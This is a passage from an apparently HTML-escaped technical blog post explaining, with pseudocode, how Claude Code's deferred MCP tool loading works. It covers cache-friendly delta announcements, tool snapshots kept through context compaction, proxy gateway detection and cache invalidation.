&lt;p&gt;&lt;strong&gt;Pre-message approach&lt;/strong&gt; (original): Before the conversation messages, the system prepends a user message listing all deferred tool names:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;available-deferred-tools&amp;gt;&lt;/span&gt;
mcp__github__create_issue
mcp__github__list_issues
mcp__slack__send_message
...
&lt;span class="nt"&gt;&amp;lt;/available-deferred-tools&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Delta attachment approach&lt;/strong&gt; (newer): Instead of prepending the full list every turn, the system computes a diff against what's already been announced:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getDeferredToolsDelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tools&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Scan&lt;/span&gt; &lt;span class="nx"&gt;prior&lt;/span&gt; &lt;span class="nx"&gt;attachment&lt;/span&gt; &lt;span class="nx"&gt;messages&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;previous&lt;/span&gt; &lt;span class="nx"&gt;announcements&lt;/span&gt;
    &lt;span class="nx"&gt;announced&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;empty&lt;/span&gt; &lt;span class="kd"&gt;set&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;attachment&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;deferred_tools_delta&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;addedNames&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;announced&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;removedNames&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;announced&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nx"&gt;deferred&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt; &lt;span class="nx"&gt;where&lt;/span&gt; &lt;span class="nf"&gt;isDeferredTool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;deferredNames&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;names&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;deferred&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt;
    &lt;span class="nx"&gt;poolNames&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;names&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;all&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt;

    &lt;span class="nx"&gt;added&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;deferred&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;yet&lt;/span&gt; &lt;span class="nx"&gt;announced&lt;/span&gt;
    &lt;span class="nx"&gt;removed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;announced&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt; &lt;span class="nx"&gt;no&lt;/span&gt; &lt;span class="nx"&gt;longer&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;pool&lt;/span&gt; &lt;span class="nx"&gt;AND&lt;/span&gt; &lt;span class="nx"&gt;no&lt;/span&gt; &lt;span class="nx"&gt;longer&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;base&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Note&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt; &lt;span class="nx"&gt;that&lt;/span&gt; &lt;span class="nx"&gt;was&lt;/span&gt; &lt;span class="nx"&gt;deferred&lt;/span&gt; &lt;span class="nx"&gt;but&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt; &lt;span class="nf"&gt;loaded &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;undeferred&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;NOT&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;reported&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;removed&lt;/span&gt; &lt;span class="err"&gt;—&lt;/span&gt; &lt;span class="nx"&gt;it&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;s still available, just loaded differently

    if no changes: return null
    return { addedNames, removedNames }
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The delta approach has a critical advantage: it doesn't bust the prompt cache. The pre-message approach changes the first message whenever the tool pool changes (MCP server connects late, tools added/removed), which invalidates the cached prefix. Deltas are appended as attachment messages, leaving the prefix stable.&lt;/p&gt;




&lt;h2&gt;
  
  
  Surviving Compaction
&lt;/h2&gt;

&lt;p&gt;Context compaction summarizes old messages to free space. But compaction destroys &lt;code&gt;tool_reference&lt;/code&gt; blocks — the summary is plain text, not structured content. If the system can't find tool references after compaction, it thinks no tools have been discovered, and every deferred tool disappears from subsequent requests.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Snapshot Mechanism
&lt;/h3&gt;

&lt;p&gt;Before compaction runs, the system takes a snapshot of all discovered tools and stores it on the compact boundary marker:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Snapshot&lt;/span&gt; &lt;span class="nx"&gt;BEFORE&lt;/span&gt; &lt;span class="nx"&gt;summarizing&lt;/span&gt;
    &lt;span class="nx"&gt;discoveredTools&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;extractDiscoveredToolNames&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nx"&gt;summary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;summarize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;boundaryMarker&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createBoundaryMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;summary&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;discoveredTools&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nx"&gt;boundaryMarker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;preCompactDiscoveredTools&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
            &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;discoveredTools&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;boundaryMarker&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;remainingMessages&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This snapshot appears in three compaction paths: full compaction, partial compaction (which keeps recent messages intact), and session-memory compaction. All three perform the same snapshot.&lt;/p&gt;

&lt;p&gt;After compaction, when &lt;code&gt;extractDiscoveredToolNames&lt;/code&gt; scans the messages, it encounters the compact boundary marker first and reads the snapshot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Post-compaction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;array:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;compact_boundary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="err"&gt;metadata.preCompactDiscoveredTools:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"mcp__github__create_issue"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;messages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;tool_reference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;blocks&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The scan merges the snapshot with any new references in remaining messages. The union is the full discovered set — nothing is lost.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why This Works
&lt;/h3&gt;

&lt;p&gt;The snapshot is idempotent. Multiple compactions each snapshot the accumulated set. If compaction A captures tools {X, Y} and the model later discovers Z, compaction B captures {X, Y, Z}. The set only grows.&lt;/p&gt;

&lt;p&gt;Partial compaction scans all messages, not just the ones being summarized. This is deliberate — it's simpler than tracking which tools were referenced in which half, and set union is idempotent, so double-counting is harmless.&lt;/p&gt;




&lt;h2&gt;
  
  
  Edge Cases and Fail-Closed Design
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Model Support
&lt;/h3&gt;

&lt;p&gt;Not every model supports &lt;code&gt;tool_reference&lt;/code&gt; content blocks. The system uses a negative list: models are assumed to support tool search &lt;strong&gt;unless&lt;/strong&gt; they match a pattern in the unsupported list.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;UNSUPPORTED_MODEL_PATTERNS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;haiku&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;modelSupportsToolReference&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nx"&gt;normalized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;lowercase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;pattern&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;UNSUPPORTED_MODEL_PATTERNS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;pattern&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;normalized&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;   &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;models&lt;/span&gt; &lt;span class="nx"&gt;work&lt;/span&gt; &lt;span class="nx"&gt;by&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a deliberate design choice. A positive list (allowlist) would require code changes for every new model. The negative list means new models inherit tool search support automatically. Only models known to lack the capability are excluded.&lt;/p&gt;

&lt;p&gt;The unsupported pattern list can be updated remotely via feature flags, without shipping a new release. This handles the case where a new model launches without &lt;code&gt;tool_reference&lt;/code&gt; support — the team adds it to the list, and all running instances pick it up.&lt;/p&gt;

&lt;h3&gt;
  
  
  Proxy Gateway Detection: A Two-Act Failure
&lt;/h3&gt;

&lt;p&gt;This is a case where a real-world failure, a fix, and a failure of the fix shaped the final design.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Act 1&lt;/strong&gt;: Users routing API calls through third-party proxy gateways (LiteLLM, corporate firewalls) started getting API 400 errors: &lt;code&gt;"Messages content type tool_reference not supported."&lt;/code&gt; The proxy only accepted standard content types — &lt;code&gt;text&lt;/code&gt;, &lt;code&gt;image&lt;/code&gt;, &lt;code&gt;tool_use&lt;/code&gt;, &lt;code&gt;tool_result&lt;/code&gt; — and rejected the beta &lt;code&gt;tool_reference&lt;/code&gt; blocks. Tool search worked fine with direct Anthropic API calls but broke through any intermediary.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Act 2&lt;/strong&gt;: The fix was aggressive: detect non-Anthropic base URLs and disable tool search entirely. This stopped the 400 errors but created a new problem — users with &lt;em&gt;compatible&lt;/em&gt; proxies (LiteLLM passthrough mode, Cloudflare AI Gateway) lost deferred tool loading. All their MCP tools loaded into the main context window every turn. For users with many MCP tools, this was a significant regression in context efficiency.&lt;/p&gt;

&lt;p&gt;The final design balances both failures:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isToolSearchEnabledOptimistic&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;mode&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;standard&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nb"&gt;Proxy&lt;/span&gt; &lt;span class="nx"&gt;detection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;first&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;party&lt;/span&gt; &lt;span class="nx"&gt;provider&lt;/span&gt; &lt;span class="nx"&gt;but&lt;/span&gt; &lt;span class="nx"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Anthropic&lt;/span&gt; &lt;span class="nx"&gt;URL&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Only&lt;/span&gt; &lt;span class="nx"&gt;triggers&lt;/span&gt; &lt;span class="nx"&gt;when&lt;/span&gt; &lt;span class="nx"&gt;ENABLE_TOOL_SEARCH&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nf"&gt;unset &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;behavior&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;ENABLE_TOOL_SEARCH&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="kd"&gt;set&lt;/span&gt;
       &lt;span class="nx"&gt;AND&lt;/span&gt; &lt;span class="nx"&gt;provider&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;firstParty&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
       &lt;span class="nx"&gt;AND&lt;/span&gt; &lt;span class="nx"&gt;baseURL&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;known&lt;/span&gt; &lt;span class="nx"&gt;Anthropic&lt;/span&gt; &lt;span class="nx"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;   &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;proxy&lt;/span&gt; &lt;span class="nx"&gt;would&lt;/span&gt; &lt;span class="nx"&gt;reject&lt;/span&gt; &lt;span class="nx"&gt;tool_reference&lt;/span&gt; &lt;span class="nx"&gt;blocks&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key insight is the &lt;code&gt;ENABLE_TOOL_SEARCH is not set&lt;/code&gt; condition. When the environment variable is unset, the system assumes unknown proxies can't handle beta features. But setting &lt;em&gt;any&lt;/em&gt; non-empty value — &lt;code&gt;true&lt;/code&gt;, &lt;code&gt;auto&lt;/code&gt;, &lt;code&gt;auto:10&lt;/code&gt; — tells the system "I know what I'm doing, my proxy supports this." The user takes explicit responsibility for their proxy's capabilities.&lt;/p&gt;

&lt;p&gt;There's also a global kill switch: &lt;code&gt;DISABLE_EXPERIMENTAL_BETAS&lt;/code&gt; forces standard mode regardless of other settings. When this is set, the system strips beta-specific fields from tool schemas before sending them to the API, ensuring no &lt;code&gt;defer_loading&lt;/code&gt; or &lt;code&gt;tool_reference&lt;/code&gt; reaches the wire. This was itself motivated by a separate failure: the kill switch originally didn't remove all beta headers, breaking LiteLLM-to-Bedrock proxies that rejected unknown beta flags.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pending MCP Servers
&lt;/h3&gt;

&lt;p&gt;MCP servers connect asynchronously. When a user starts Claude Code, some servers may still be initializing. If tool search is enabled but no deferred tools exist yet (because no servers have connected), the system normally disables tool search for that request — there's nothing to search.&lt;/p&gt;

&lt;p&gt;But if MCP servers are pending, it keeps ToolSearch available:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;useToolSearch&lt;/span&gt; &lt;span class="nx"&gt;AND&lt;/span&gt; &lt;span class="nx"&gt;no&lt;/span&gt; &lt;span class="nx"&gt;deferred&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt; &lt;span class="nx"&gt;AND&lt;/span&gt; &lt;span class="nx"&gt;no&lt;/span&gt; &lt;span class="nx"&gt;pending&lt;/span&gt; &lt;span class="nx"&gt;MCP&lt;/span&gt; &lt;span class="nx"&gt;servers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nx"&gt;useToolSearch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;   &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;nothing&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;save&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt; &lt;span class="nx"&gt;slot&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;useToolSearch&lt;/span&gt; &lt;span class="nx"&gt;AND&lt;/span&gt; &lt;span class="nx"&gt;no&lt;/span&gt; &lt;span class="nx"&gt;deferred&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt; &lt;span class="nx"&gt;AND&lt;/span&gt; &lt;span class="nx"&gt;pending&lt;/span&gt; &lt;span class="nx"&gt;MCP&lt;/span&gt; &lt;span class="nx"&gt;servers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;keep&lt;/span&gt; &lt;span class="nx"&gt;ToolSearch&lt;/span&gt; &lt;span class="err"&gt;—&lt;/span&gt; &lt;span class="nx"&gt;tools&lt;/span&gt; &lt;span class="nx"&gt;will&lt;/span&gt; &lt;span class="nx"&gt;appear&lt;/span&gt; &lt;span class="nx"&gt;when&lt;/span&gt; &lt;span class="nx"&gt;servers&lt;/span&gt; &lt;span class="nx"&gt;connect&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the model calls ToolSearch and no tools match, the result includes the names of pending servers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;matches:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;total_deferred_tools:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;pending_mcp_servers:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"github"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"slack"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This tells the model "your search found nothing, but these servers are still connecting — try again shortly."&lt;/p&gt;

&lt;h3&gt;
  
  
  Cache Invalidation
&lt;/h3&gt;

&lt;p&gt;Tool descriptions are memoized to avoid recomputing them on every search. But the deferred tool set can change mid-conversation (MCP server connects, tools added/removed). The cache key is the sorted, comma-joined list of deferred tool names. When the set changes, the cache clears:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;maybeInvalidateCache&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;deferredTools&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nx"&gt;currentKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;deferredTools&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;currentKey&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nx"&gt;cachedKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;clearDescriptionCache&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="nx"&gt;cachedKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;currentKey&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The token count is also memoized with the same key scheme. This means connecting a new MCP server triggers one fresh token count and one fresh description computation, then subsequent searches reuse the cache.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tool Search Disabled Mid-Conversation
&lt;/h3&gt;

